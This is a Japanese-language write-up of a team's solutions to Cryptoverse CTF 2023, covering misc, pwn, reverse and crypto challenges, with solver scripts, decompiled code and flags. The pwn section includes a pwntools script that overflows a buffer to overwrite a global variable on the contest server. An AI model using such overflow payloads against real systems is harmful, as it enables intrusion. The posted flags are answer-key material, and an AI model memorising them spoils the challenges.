Cryptoverse CTF 2023 Writeup

この大会は2023/5/7 2:00(JST)~2023/5/8 14:00(JST)に開催されました。
今回もチームで参戦。結果は3602点で364チーム中57位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。

cvctf{welcome_to_cvctf_2k23!}

Baby Calculator (Misc)

積分を計算し、答えていく。

#!/usr/bin/env python3
import socket
import re
from sympy import Integral, Symbol

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

pattern = ': (.+) from (\d+) to (\d+).'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('20.169.252.240', 4200))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

for _ in range(40):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    x = Symbol('x')

    m = re.search(pattern, data)
    expr = m.group(1)
    x0 = int(m.group(2))
    x1 = int(m.group(3))
    ans = Integral(expr, (x, x0, x1)).doit().evalf()
    data = recvuntil(s, b': ')
    print(data + str(ans))
    s.sendall(str(ans).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcome to the Baby Calculator! Answer 40 questions in a minute to get the flag.
The difference between your input and the correct answer must be less than 1e-6.
[+] Question 1:
Evaluate the integral of: -6/x from 3 to 10.
> Answer: -7.22383682595562
[+] Question 2:
Evaluate the integral of: 5/x from 2 to 9.
> Answer: 7.52038698388137
[+] Question 3:
Evaluate the integral of: -6*cos(x) from 3 to 5.
> Answer: 6.60026569633803
[+] Question 4:
Evaluate the integral of: 3*cos(x)+5*cos(x)+3*sin(x) from 2 to 8.
> Answer: -0.171453849833986
[+] Question 5:
Evaluate the integral of: 9/x+6*x-3*sin(x)+1/x+9*x from 3 to 8.
> Answer: 424.841769918493
[+] Question 6:
Evaluate the integral of: -4/x-10*x+1/x-2*sin(x)+10*sin(x) from 1 to 4.
> Answer: -69.6073156695057
[+] Question 7:
Evaluate the integral of: -7*x-3*x-2/x from 2 to 5.
> Answer: -106.832581463748
[+] Question 8:
Evaluate the integral of: -1*cos(x)+8*cos(x)+2*x from 2 to 5.
> Answer: 7.92244808957826
[+] Question 9:
Evaluate the integral of: 2*sin(x)+3*x+6*sin(x)-10*sin(x)-6*sin(x) from 3 to 5.
> Answer: 34.1892374565094
[+] Question 10:
Evaluate the integral of: 9*sin(x)+8/x-5*x+3*x+10*sin(x) from 3 to 4.
> Answer: -11.0891720593856
[+] Question 11:
Evaluate the integral of: -8/x from 2 to 5.
> Answer: -7.33032585499324
[+] Question 12:
Evaluate the integral of: -2*x-10*sin(x)-7/x-4*x from 3 to 4.
> Answer: -19.6502857497941
[+] Question 13:
Evaluate the integral of: -1/x from 1 to 9.
> Answer: -2.19722457733622
[+] Question 14:
Evaluate the integral of: -1*cos(x)-2*x-7*sin(x) from 3 to 6.
> Answer: -12.9283250109855
[+] Question 15:
Evaluate the integral of: 3/x+5/x from 2 to 4.
> Answer: 5.54517744447956
[+] Question 16:
Evaluate the integral of: -9/x from 2 to 5.
> Answer: -8.24661658686740
[+] Question 17:
Evaluate the integral of: -2*cos(x)+7*x from 3 to 9.
> Answer: 251.458003045636
[+] Question 18:
Evaluate the integral of: -4*sin(x)-9*sin(x)+2/x-6*sin(x)+3*x from 3 to 5.
> Answer: 49.2210902067417
[+] Question 19:
Evaluate the integral of: -3*x+2/x-8*sin(x)-6*sin(x)-10*cos(x) from 3 to 6.
> Answer: -7.60607161078082
[+] Question 20:
Evaluate the integral of: 10/x+6*x-2/x+8*sin(x)-2*sin(x) from 1 to 4.
> Answer: 63.2540304493496
[+] Question 21:
Evaluate the integral of: -2*x+2*sin(x)-2*cos(x)+9*x from 1 to 10.
> Answer: 352.029731861284
[+] Question 22:
Evaluate the integral of: 7/x from 3 to 10.
> Answer: 8.42780963028155
[+] Question 23:
Evaluate the integral of: 1*cos(x)-8*cos(x)+4*x-10*cos(x)+3*x from 3 to 10.
> Answer: 330.147399022137
[+] Question 24:
Evaluate the integral of: 7*cos(x)-6/x+9*cos(x) from 1 to 7.
> Answer: -14.6272110717576
[+] Question 25:
Evaluate the integral of: 1/x+6*sin(x)-2*sin(x)-4*sin(x) from 2 to 10.
> Answer: 1.60943791243410
[+] Question 26:
Evaluate the integral of: 9/x+5*x-5*sin(x) from 3 to 8.
> Answer: 150.549925591065
[+] Question 27:
Evaluate the integral of: 5/x-3*cos(x)+6/x+3/x from 3 to 8.
> Answer: 11.1868948264736
[+] Question 28:
Evaluate the integral of: 3*sin(x)+5*x+10*cos(x)-10*x-1*cos(x) from 2 to 5.
> Answer: -71.4134223794305
[+] Question 29:
Evaluate the integral of: 3*cos(x) from 1 to 10.
> Answer: -4.15647628709180
[+] Question 30:
Evaluate the integral of: 7*cos(x)-9*x+8*x from 3 to 5.
> Answer: -15.7003099790610
[+] Question 31:
Evaluate the integral of: -10*x-2*x from 2 to 6.
> Answer: -192.000000000000
[+] Question 32:
Evaluate the integral of: -5*cos(x)-7*sin(x) from 3 to 7.
> Answer: 9.62793030331164
[+] Question 33:
Evaluate the integral of: -5*sin(x) from 2 to 10.
> Answer: -2.11462346264655
[+] Question 34:
Evaluate the integral of: -8*sin(x)+9*x+3/x-4/x+10*x from 1 to 5.
> Answer: 224.337441124327
[+] Question 35:
Evaluate the integral of: -6/x from 3 to 8.
> Answer: -5.88497551807036
[+] Question 36:
Evaluate the integral of: -2*cos(x)-2/x+7*cos(x)+7*cos(x) from 2 to 8.
> Answer: -1.81185888466738
[+] Question 37:
Evaluate the integral of: 9*cos(x)-7*sin(x) from 2 to 8.
> Answer: 2.61507499734900
[+] Question 38:
Evaluate the integral of: 9*sin(x)-6/x+6/x+3*x+1/x from 2 to 7.
> Answer: 58.2223211504813
[+] Question 39:
Evaluate the integral of: -7*x-7*x+10*cos(x)-1*sin(x) from 2 to 8.
> Answer: -418.928744999284
[+] Question 40:
Evaluate the integral of: 6*cos(x) from 3 to 6.
> Answer: -2.52321303755276
Congrats! Here's your flag: cvctf{B4by_m@7h_G14n7_5t3P}
cvctf{B4by_m@7h_G14n7_5t3P}

Acceptance (Pwn)

Ghidraでデコンパイルする。

undefined8 main(EVP_PKEY_CTX *param_1)

{
  init(param_1);
  puts("I wanna go out but I need mom\'s permisison.");
  printf("Help him: ");
  read(0,say,0x24);
  if (accept == 0) {
    puts("Arg! Why don\'t you help me :((");
  }
  else {
    print_flag();
  }
  return 0;
}

undefined8 print_flag(void)

{
  uint *puVar1;
  undefined local_38 [44];
  int local_c;
  
  if (accept < 1) {
    if (accept == -1) {
      local_c = open("/home/me/flag.txt",0);
      if (local_c == -1) {
        puVar1 = (uint *)__errno_location();
        fprintf(stderr,"Error num %d\n",(ulong)*puVar1);
      }
      else {
        read(local_c,local_38,0x22);
        close(local_c);
        write(1,local_38,0x22);
        putchar(10);
      }
    }
    else {
      puts("Nah, You are a liar!");
    }
  }
  else {
    puts("You ask a lot and she suspect me :((");
  }
  return 0;
}

                             say                                             XREF[2]:     Entry Point(*), main:00401308(*)  
        004040b0 00 00 00        undefine
                 00 00 00 
                 00 00 00 
           004040b0 00              undefined100h                     [0]                               XREF[2]:     Entry Point(*), main:00401308(*)  
           004040b1 00              undefined100h                     [1]
           004040b2 00              undefined100h                     [2]
           004040b3 00              undefined100h                     [3]
           004040b4 00              undefined100h                     [4]
           004040b5 00              undefined100h                     [5]
           004040b6 00              undefined100h                     [6]
           004040b7 00              undefined100h                     [7]
           004040b8 00              undefined100h                     [8]
           004040b9 00              undefined100h                     [9]
           004040ba 00              undefined100h                     [10]
           004040bb 00              undefined100h                     [11]
           004040bc 00              undefined100h                     [12]
           004040bd 00              undefined100h                     [13]
           004040be 00              undefined100h                     [14]
           004040bf 00              undefined100h                     [15]
           004040c0 00              undefined100h                     [16]
           004040c1 00              undefined100h                     [17]
           004040c2 00              undefined100h                     [18]
           004040c3 00              undefined100h                     [19]
           004040c4 00              undefined100h                     [20]
           004040c5 00              undefined100h                     [21]
           004040c6 00              undefined100h                     [22]
           004040c7 00              undefined100h                     [23]
           004040c8 00              undefined100h                     [24]
           004040c9 00              undefined100h                     [25]
           004040ca 00              undefined100h                     [26]
           004040cb 00              undefined100h                     [27]
           004040cc 00              undefined100h                     [28]
           004040cd 00              undefined100h                     [29]
        004040ce 00              ??         00h
        004040cf 00              ??         00h
                             accept                                          XREF[4]:     Entry Point(*), 
                                                                                          print_flag:004011fd(R), 
                                                                                          print_flag:0040121d(R), 
                                                                                          main:00401319(R)  
        004040d0 00 00 00 00     undefined4 00000000h
        004040d4 00              ??         00h
        004040d5 00              ??         00h
        004040d6 00              ??         00h
        004040d7 00              ??         00h

任意の32バイトの後に"\xff\xff\xff\xff"を入力し、acceptを上書きすれば、フラグが表示される。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('20.169.252.240', 4000)
else:
    p = process('./acceptance')

payload = b'A' * 32
payload += p32(0xffffffff)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 20.169.252.240 on port 4000: Done
I wanna go out but I need mom's permisison.
Help him: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff\xff\xff\xff'
cvctf{Y34h_1_c4N_G0_n0w_tH4nK_y4u}
[*] Closed connection to 20.169.252.240 port 4000
cvctf{Y34h_1_c4N_G0_n0w_tH4nK_y4u}

Simple Checkin (Reverse)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long lVar1;
  ulong uVar2;
  ulong uVar3;
  uint uVar4;
  long lVar5;
  undefined8 *puVar6;
  undefined *puVar7;
  undefined *puVar8;
  long in_FS_OFFSET;
  undefined8 local_98;
  undefined8 local_90;
  int local_7c;
  int local_78;
  int local_74;
  undefined8 local_70;
  undefined4 *local_68;
  long local_60;
  undefined4 *local_58;
  long local_50;
  undefined *local_48;
  long local_40;
  
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  local_7c = 0xe2;
  local_70 = 0xe1;
  local_98 = 0xe2;
  local_90 = 0;
  for (puVar6 = &local_98; puVar6 != &local_98; puVar6 = (undefined8 *)((long)puVar6 + -0x1000)) {
    *(undefined8 *)((long)puVar6 + -8) = *(undefined8 *)((long)puVar6 + -8);
  }
  *(undefined8 *)((long)puVar6 + -8) = *(undefined8 *)((long)puVar6 + -8);
  local_68 = (undefined4 *)((long)puVar6 + -0x390);
  local_60 = (long)local_7c + -1;
  uVar2 = (((long)local_7c * 4 + 0xfU) / 0x10) * 0x10;
  for (puVar7 = (undefined *)((long)puVar6 + -0x390);
      puVar7 != (undefined *)((long)puVar6 + (-0x390 - (uVar2 & 0xfffffffffffff000)));
      puVar7 = puVar7 + -0x1000) {
    *(undefined8 *)(puVar7 + -8) = *(undefined8 *)(puVar7 + -8);
  }
  lVar1 = -(ulong)((uint)uVar2 & 0xfff);
  puVar8 = puVar7 + lVar1;
  if ((uVar2 & 0xfff) != 0) {
    *(undefined8 *)(puVar7 + ((ulong)((uint)uVar2 & 0xfff) - 8) + lVar1) =
         *(undefined8 *)(puVar7 + ((ulong)((uint)uVar2 & 0xfff) - 8) + lVar1);
  }
  local_58 = (undefined4 *)(puVar7 + lVar1);
  local_50 = (long)local_7c + -1;
  lVar5 = (long)local_7c;
  uVar3 = (((long)local_7c + 0xfU) / 0x10) * 0x10;
  for (; puVar8 != puVar7 + (lVar1 - (uVar3 & 0xfffffffffffff000)); puVar8 = puVar8 + -0x1000) {
    *(undefined8 *)(puVar8 + -8) = *(undefined8 *)(puVar8 + -8);
  }
  uVar4 = (uint)uVar3;
  lVar1 = -(ulong)(uVar4 & 0xfff);
  if ((uVar3 & 0xfff) != 0) {
    *(undefined8 *)(puVar8 + ((ulong)(uVar4 & 0xfff) - 8) + lVar1) =
         *(undefined8 *)(puVar8 + ((ulong)(uVar4 & 0xfff) - 8) + lVar1);
  }
  local_48 = puVar8 + lVar1;
  *(undefined8 *)(puVar8 + lVar1 + -8) = 0x1013e7;
  __isoc99_scanf("%226s",(long)puVar8 + lVar1,uVar4 & 0xfff,
                 (undefined *)((long)puVar6 + (-0x390 - (uVar2 & 0xfffffffffffff000))),lVar5,0);
  *local_68 = 0xb;
  *local_58 = 0x68;
  local_68[1] = 0x7d;
  local_58[1] = 0xb;
  local_68[2] = 0xac;
  local_58[2] = 0xcf;
  local_68[3] = 0xa8;
  local_58[3] = 0xdc;
  local_68[4] = 5;
  local_58[4] = 99;
  local_68[5] = 0xef;
  local_58[5] = 0x94;
  local_68[6] = 0x1e;
  local_58[6] = 0x77;
  local_68[7] = 0xd7;
  local_58[7] = 0x88;
  local_68[8] = 0x8c;
  local_58[8] = 0xed;
  local_68[9] = 0x94;
  local_58[9] = 0xe4;
  local_68[10] = 0x1f;
  local_58[10] = 0x70;
  local_68[0xb] = 0xeb;
  local_58[0xb] = 0x87;
  local_68[0xc] = 0x9b;
  local_58[0xc] = 0xf4;
  local_68[0xd] = 0x2a;
  local_58[0xd] = 0x4d;
  local_68[0xe] = 0xb6;
  local_58[0xe] = 0xdf;
  local_68[0xf] = 0x80;
  local_58[0xf] = 0xfa;
  local_68[0x10] = 0x3a;
  local_58[0x10] = 0x5f;
  local_68[0x11] = 0x39;
  local_58[0x11] = 0x66;
  local_68[0x12] = 0x39;
  local_58[0x12] = 0x5f;
  local_68[0x13] = 0x5f;
  local_58[0x13] = 0x30;
  local_68[0x14] = 0x93;
  local_58[0x14] = 0xe1;
  local_68[0x15] = 0x5f;
  local_58[0x15] = 0;
  local_68[0x16] = 0x70;
  local_58[0x16] = 3;
  local_68[0x17] = 0x46;
  local_58[0x17] = 0x33;
                :
  local_68[0xdc] = 0xf7;
  local_58[0xdc] = 0x99;
  local_68[0xdd] = 6;
  local_58[0xdd] = 0x69;
  local_68[0xde] = 10;
  local_58[0xde] = 0x7e;
  local_68[0xdf] = 0xb0;
  local_58[0xdf] = 0x99;
  local_68[0xe0] = 0x5f;
  local_58[0xe0] = 0x7e;
  local_68[0xe1] = 0x22;
  local_58[0xe1] = 0x5f;
  local_74 = 1;
  for (local_78 = 0; local_78 < local_7c; local_78 = local_78 + 1) {
    if ((local_68[local_78] ^ (int)(char)local_48[local_78]) != local_58[local_78]) {
      local_74 = 0;
    }
  }
  if (local_74 == 0) {
    *(undefined8 *)(puVar8 + lVar1 + -8) = 0x102e14;
    puts("Try again!");
  }
  else {
    *(undefined8 *)(puVar8 + lVar1 + -8) = 0x102e06;
    puts("Good job!");
  }
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

local_58とlocal_68をXORすればよい。

#!/usr/bin/env python3
local_58 = [0] * 0xe2
local_68 = [0] * 0xe2
local_68[0] = 0xb
local_58[0] = 0x68
local_68[1] = 0x7d
local_58[1] = 0xb
local_68[2] = 0xac
local_58[2] = 0xcf
local_68[3] = 0xa8
local_58[3] = 0xdc
local_68[4] = 5
local_58[4] = 99
local_68[5] = 0xef
local_58[5] = 0x94
local_68[6] = 0x1e
local_58[6] = 0x77
local_68[7] = 0xd7
local_58[7] = 0x88
local_68[8] = 0x8c
local_58[8] = 0xed
local_68[9] = 0x94
local_58[9] = 0xe4
local_68[10] = 0x1f
local_58[10] = 0x70
local_68[0xb] = 0xeb
local_58[0xb] = 0x87
local_68[0xc] = 0x9b
local_58[0xc] = 0xf4
local_68[0xd] = 0x2a
local_58[0xd] = 0x4d
local_68[0xe] = 0xb6
local_58[0xe] = 0xdf
local_68[0xf] = 0x80
local_58[0xf] = 0xfa
local_68[0x10] = 0x3a
local_58[0x10] = 0x5f
local_68[0x11] = 0x39
local_58[0x11] = 0x66
local_68[0x12] = 0x39
local_58[0x12] = 0x5f
local_68[0x13] = 0x5f
local_58[0x13] = 0x30
local_68[0x14] = 0x93
local_58[0x14] = 0xe1
local_68[0x15] = 0x5f
local_58[0x15] = 0
local_68[0x16] = 0x70
local_58[0x16] = 3
local_68[0x17] = 0x46
local_58[0x17] = 0x33
                :
local_68[0xdc] = 0xf7
local_58[0xdc] = 0x99
local_68[0xdd] = 6
local_58[0xdd] = 0x69
local_68[0xde] = 10
local_58[0xde] = 0x7e
local_68[0xdf] = 0xb0
local_58[0xdf] = 0x99
local_68[0xe0] = 0x5f
local_58[0xe0] = 0x7e
local_68[0xe1] = 0x22
local_58[0xe1] = 0x5f

flag = ''
for i in range(0xe2):
    flag += chr(local_68[i] ^ local_58[i])
print(flag)
cvctf{i_apologize_for_such_a_long_string_in_this_checkin_challenge,but_it_might_be_a_good_time_to_learn_about_automating_this_process?You_might_need_to_do_it_because_here_is_a_painful_hex:32a16b3a7eef8de1263812.Enjoy(or_not)!}

Warmup 1 (Crypto)

CyberChefでデコードする。ROT13の後、base58デコードすると、フラグになった。

cvctf{base58_with_rot}

Warmup 2 (Crypto)

Felix Delastelleによって発明された暗号を調べると、Bifid cipherであることがわかる。https://www.dcode.fr/bifid-cipherでHintの文字列をGridに指定して復号する。

CVCTFFUNBIFIDDECODING
cvctf{funbifiddecoding}

Warmup 3 (Crypto)

中国語で作成された換字式暗号。まず同じ文字を同じアルファベットに置換する。

abcdefb ge ghb ibdejk bklglej em dnopgeqbnib dgm. crig obrn, gbrf frpcb srdej mnef drjrkr aej ghb defpbglglej so iecqljt rcc dhrccbjtbi. lm oeu ujkbnigeek ghb rseqb dhljbib, hbnb li ghb mcrt: dqdgm{ljibdunbdhjdlphbn}. iusflg ghb mcrt lj ceabn drib.

これをquipqiupで復号する。

welcome to the second edition of cryptoverse ctf. last year, team maple bacon from canada won the competition by solving all challenges. if you understood the above chinese, here is the flag: cvctf{insecurechncipher}. submit the flag in lower case.
cvctf{insecurechncipher}

Baby AES (Crypto)

keyは実質2バイトと同等のパターンしかないので、ブルートフォースして復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

BS = 16

iv = bytes.fromhex('1df49bc50bc2432bd336b4609f2104f7')
ct = bytes.fromhex('a40c6502436e3a21dd63c1553e4816967a75dfc0c7b90328f00af93f0094ed62')

found = False
for k0 in range(256):
    for k1 in range(256):
        key = pad(bytes([k0, k1]), BS)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        flag = cipher.decrypt(ct)
        if flag.startswith(b'cvctf{'):
            found = True
            flag = unpad(flag, BS).decode()
            print(flag)
    if found:
        break
cvctf{b4by_AES_s1mpL3}

LFSR Explorer (Crypto)

暗号化処理の概要は以下の通り。

・flag: {}の中身(8バイト)
・states = [flagの後半4バイトの数値化したもの, flagの前半4バイトの数値化したもの]
・mask = 0b10000100010010001000100000010101
・output = []
・8回以下繰り返し(i)
 ・tmp = 0
 ・8回以下繰り返し(j)
  ・(states[i // 4], out) = explore(states[i // 4], mask)
  ・tmp = (tmp << 1) ^ out
 ・outputにtmpを追加
・outputを出力

この条件を前提にz3で解く。

#!/usr/bin/env python3
from z3 import *
from Crypto.Util.number import *

def explore(state, mask):
    curr = (state << 1) & 0xffffffff
    i = state & mask & 0xffffffff
    last = 0
    for j in range(32):
        last ^= (i & 1)
        i >>= 1
    curr ^= last
    return (curr, last)

with open('output.txt', 'rb') as f:
    output = f.read()

x = [BitVec('x%d' % i, 32) for i in range(2)]
s = Solver()
states = [x[0], x[1]]
mask = 0b10000100010010001000100000010101

for i in range(8):
    tmp = 0
    for j in range(8):
        (states[i // 4], out) = explore(states[i // 4], mask)
        tmp = (tmp << 1) ^ out
    s.add(output[i] == tmp)


r = s.check()
assert r == sat
m = s.model()

flag = long_to_bytes(m[x[1]].as_long()) + long_to_bytes(m[x[0]].as_long())
flag = 'cvctf{%s}' % flag.decode()
print(flag)
cvctf{G@@d_j0b}

Survey (Misc)

アンケートへの回答を進めると、フラグが選択肢に分断されて記載されていた。

cvctf{thx_4_playing_cvctf_and_hope_you_enjoy_it}